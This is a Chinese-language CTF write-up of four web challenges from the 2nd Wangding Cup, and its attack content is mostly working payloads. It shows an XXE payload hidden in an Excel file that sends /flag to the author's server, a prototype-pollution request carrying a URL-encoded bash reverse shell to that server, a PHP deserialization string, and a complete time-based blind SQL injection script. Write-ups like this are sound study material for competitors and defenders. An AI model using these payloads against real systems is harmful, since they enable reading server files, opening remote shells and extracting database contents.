第二届网鼎杯(第一场:青龙组)web WriteUp

学校战队总排名五十几,web和pwn各拿了一个一血,只能说师傅太强了,不过后来的排名有点起飞,最后半小时,直接从前十名飞出去了~~

filejava

这道题主要考察的是javaxxe漏洞,这个题目总共有两个功能,上传和下载功能,有上传和下载,我们就想到两个漏洞点,是否有任意文件上传或者任意文件下载?


经过测试确实有任意文件下载,但是任意文件上传确不存在,但是却能够为我们提供路径~~

任意文件下载

在这里插入图片描述但是我们不知道web的路径怎么办?我们还有文件上传的报错~~

文件上传

在这里插入图片描述

我们可以看到报错处直接给了web的路径,我们就可以直接读源码了

先读web.xml
在这里插入图片描述
然后直接读源码

  • cn.abc.servlet.ListFileServlet
  • cn.abc.servlet.DownloadServlet
  • cn.abc.servlet.UploadServlet

而class文件一般都在classes文件夹下,所以我们要读取UploadServlet,其路径为:

../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

我这儿只是给出如何读源码以及思路,剩下的就不演示了,剩下就是一些class文件反编译之类的

通过读源码我们知道,就是xxe漏洞,而且是Excel的xxe,Excel就是一个压缩文件,里面有一个xml文件,这儿不做过多阐述

[Content_Types].xml文件改成如下:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://174.1.59.194/e.xml">
%int;
%all;
%send;
]>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

然后在自己服务器下添加e.xml
内容如下:

<!ENTITY % payl SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://174.1.59.194:555/?%payl;'>">

然后在自己的服务器上监听555端口,上传Excel就能获得flag了

参考连接



notes

这是一道nodejs的题目,怎么说呢,这道题目一般般吧,不过还是被小坑了一下


直接下载源码

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })
const port = 666;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

很明显了,有一个执行系统命名的地方,但是数组是被写死的,我们很自然想到的就是原型链污染,这样才能可能执行我们想要的命令

而恰好,undefsafe在版本2.0.3之前都是存在原型链污染的·~~

var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);

参考连接

所以过程就很明显了
直接到/edit_note路由,这三个参数我们都可控
传的参数为:

id=__proto__&author=%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%34%2e%31%2e%35%39%2e%31%39%34%2f%35%35%35%20%30%3e%26%31&raw=1

直接反弹shell,获得flag



AreUSerialz

这道题我们队拿了个一血,其实做题的师傅都不知道怎么回事~~~(偷笑)

这道源码很简单,主要是弱类型绕过+简单的反序列化

主要就是绕过protected中的特殊字符
有的师傅说%00可以用空格绕过,或者直接用public代替,是因为php7.1+ 反序列化对这些不敏感,反正我也不太清楚

接下来说一下我们队的师傅是怎么做的吧

他是直接用public代替proteced,然乎修改一下类的属性个数(即绕过__wakeup的那种方法)就直接读flag.php
我们当时还以为这也是绕过proteted的一种方式了,hhh

后来在buu上覆现,直接用这个payload就行了

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

可能当时比赛和buu上的环境不一样吧~~~

后来听别人说预期解是读cmdline
我也不知道~~

  • php7.2+对privatepublic不敏感
  • 小写s改为大写S,后面的值就可以接16进制,从而绕过过滤


trace

这道题目比较可惜,flag爬到一半,比赛就停了
由于一次容器只能插入20次数据,所以我们不能用常规的方法,否则根本跑不出来
这儿我们主要用到的是exp溢出来报错
而且不能直接跑出表名,列名,这些都是猜的~~

直接贴出exp:

# encoding=utf-8
import requests
import time

url="http://b5973f1b497b40ff9e8875428cbf9558f1ed1af239e9491f.cloudgame1.ichunqiu.com/register_do.php"
proxies = {
  		"http": "http://127.0.0.1:8080",
		}

flag="flag{"
#erfenfa
for i in range(6,50):
	high = 127
	low = 44
	mid = (low + high) // 2
	while high > low:
		#payload=r"id=\\0&path=or 1=(ascii(mid(CONCAT_WS(CHAR(32,58,32),user(),database(),version()),{},1))>{})--+" #65
		payload=r"ddd',exp(if(ascii(mid((select a.2 from (select 1,2 union select * from flag)a limit 1,1),{},1))>{},sleep(4),0)+10000))-- -"
		#payload=r"11',if(ascii(mid(user(),{},1))>{},sleep(3),1))-- -"
		#payload=r"id=\\0&path=or 1=(ascii(mid((select password from users limit 1 offset 0),{},1))>{})--+"
		#url_1=url+payload.format(i,mid)
        
		data={"username":payload.format(i,mid),"password":"ddd"}
		print(payload.format(i,mid))
		s_time=time.time()
		r=requests.post(url,data=data,proxies=proxies)
		print(r.content)
		e_time=time.time()
		if e_time-s_time>3:
			low=mid+1 
		else:
			high=mid
		mid=(low+high)//2
		time.sleep(1)
	flag+=chr(mid)
	print(flag) 


'''
if(ascii(mid(user(),1,1))>43,sleep(5),1)

sys.schema_auto_increment_columns
if((ascii(mid((select/**/group_concat(table_NAME)/**/from/**/mysql.innodb_table_stats/**/where/**/table_schema=database()),1,1))>1),sleep(5),1)'''
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),1,1))>1)
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),1,1))>1,sleep(5),1)
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),{},1))>{},sleep(5),1)

#select a.2 from (select 1,2 union select * from Flag)a limit 1,1
#if(ascii(mid((select select a.2 from (select 1,2 union select * from Flag)a limit 1,1),{},1))>{},sleep(3),1)
#flag{dbfb184e62-ed9834-437a3-ak2d1a80-7}
#14 2
#flag{8be2fcc4-a40a-48f6-8554-9f2789f3df1c}
#21 4
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章